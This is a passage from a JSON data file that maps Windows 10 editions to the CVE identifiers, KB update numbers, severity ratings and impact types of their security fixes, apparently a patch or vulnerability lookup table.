Privilege"},{"cve":"CVE-2022-27776","kb":"5015807","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014699","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013942","severity":"Important","impact":"Denial of Service"}],"Windows 10 Version 21H1 for ARM64-based Systems":[{"cve":"CVE-2021-1675","kb":"5003637","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-22947","kb":"5009543","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006670","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015807","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014699","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013942","severity":"Important","impact":"Denial of Service"}],"Windows 10 Version 21H1 for x64-based Systems":[{"cve":"CVE-2021-1675","kb":"5003637","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-22947","kb":"5009543","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006670","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015807","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014699","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013942","severity":"Important","impact":"Denial of Service"}],"Windows 10 Version 21H2 for 32-bit Systems":[{"cve":"CVE-2021-22947","kb":"5009543","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5008212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-45985","kb":"5044273","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-27776","kb":"5015807","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014699","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013942","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034122","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029244","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025221","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073724","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028166","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032192","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031356","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034763","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041580","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043064","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048652","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044273","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5049981","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053606","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053606","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055518","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058379","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058379","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060533","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066791","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062554","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062554","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063709","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063709","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-64720","kb":"5082200","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082200","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-50475","kb":"5099539","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2026-58613","kb":"5099539","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-80093","kb":"5122878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-85880","kb":"5122878","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 21H2 for ARM64-based Systems":[{"cve":"CVE-2021-22947","kb":"5009543","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5008212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-45985","kb":"5044273","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-27776","kb":"5015807","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014699","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013942","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034122","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029244","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025221","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073724","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028166","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032189","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031356","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034763","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041580","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043064","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048652","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044273","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5049981","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053606","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053606","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055518","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058379","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058379","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060533","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066791","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062554","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062554","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063709","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063709","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-64720","kb":"5082200","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082200","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-50475","kb":"5099539","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2026-58613","kb":"5099539","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-80093","kb":"5122878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-85880","kb":"5122878","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 21H2 for x64-based Systems":[{"cve":"CVE-2021-22947","kb":"5009543","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5008212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-45985","kb":"5044273","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-27776","kb":"5015807","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014699","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013942","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034122","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029244","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025221","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073724","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028166","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032189","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031356","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034763","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041580","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043064","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048652","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044273","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5049981","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5049981","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053606","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053606","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055518","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058379","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058379","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060533","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066791","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062554","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062554","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063709","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063709","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-64720","kb":"5082200","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082200","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-50475","kb":"5099539","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2026-58613","kb":"5099539","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-80093","kb":"5122878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-85880","kb":"5122878","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 22H2 for 32-bit Systems":[{"cve":"CVE-2021-34527","kb":"5019959","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-45985","kb":"5044273","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034122","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029244","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025221","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073724","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028166","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032189","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031356","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034763","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041580","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043064","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048652","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044273","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5049981","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053606","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053606","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055518","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058379","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058379","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060533","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066791","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062554","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062554","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063709","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063709","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-64720","kb":"5082200","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082200","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-50475","kb":"5099539","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2026-58613","kb":"5099539","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-80093","kb":"5122878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-85880","kb":"5122878","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 22H2 for ARM64-based Systems":[{"cve":"CVE-2021-34527","kb":"5019959","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-45985","kb":"5044273","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034122","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029244","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025221","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073724","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028166","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032189","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031356","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034763","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041580","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043064","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048652","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044273","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5049981","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053606","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053606","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055518","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058379","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058379","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060533","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066791","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062554","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062554","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063709","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063709","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-64720","kb":"5082200","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082200","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-50475","kb":"5099539","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2026-58613","kb":"5099539","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-80093","kb":"5122878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-85880","kb":"5122878","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 22H2 for x64-based Systems":[{"cve":"CVE-2021-34527","kb":"5019959","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-45985","kb":"5044273","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034122","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029244","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025221","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073724","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028166","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032189","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031356","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034763","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041580","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043064","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048652","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044273","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5049981","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5049981","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053606","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053606","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053606","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055518","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058379","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058379","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060533","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066791","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062554","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062554","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063709","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063709","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-64720","kb":"5082200","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082200","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-50475","kb":"5099539","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2026-58613","kb":"5099539","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-80093","kb":"5122878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-85880","kb":"5122878","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 for 32-bit Systems":[{"cve":"CVE-2015-2433","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3081434","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3081444","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3081455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3081455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3081455","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3081455","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3081455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3097617","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3097617","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3097617","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3105213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3105213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3105213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3105213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3116869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3116869","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6168","kb":"3116869","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3124266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3124266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3124266","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3124266","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3135174","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3135174","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3140745","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0151","kb":"3147461","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-0189","kb":"3156387","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3163017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3192440","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7200","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3198585","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012606","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4042895","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11823","kb":"4042895","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11830","kb":"4048956","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4053581","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8470","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025338","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038781","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038781","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038781","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038781","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038781","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038781","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056893","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056893","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056893","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074596","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074596","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103716","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0832","kb":"4074596","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0886","kb":"4103716","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088786","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088786","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088786","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093111","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8174","kb":"4103716","severity":"Critical","impact":"Remote Code 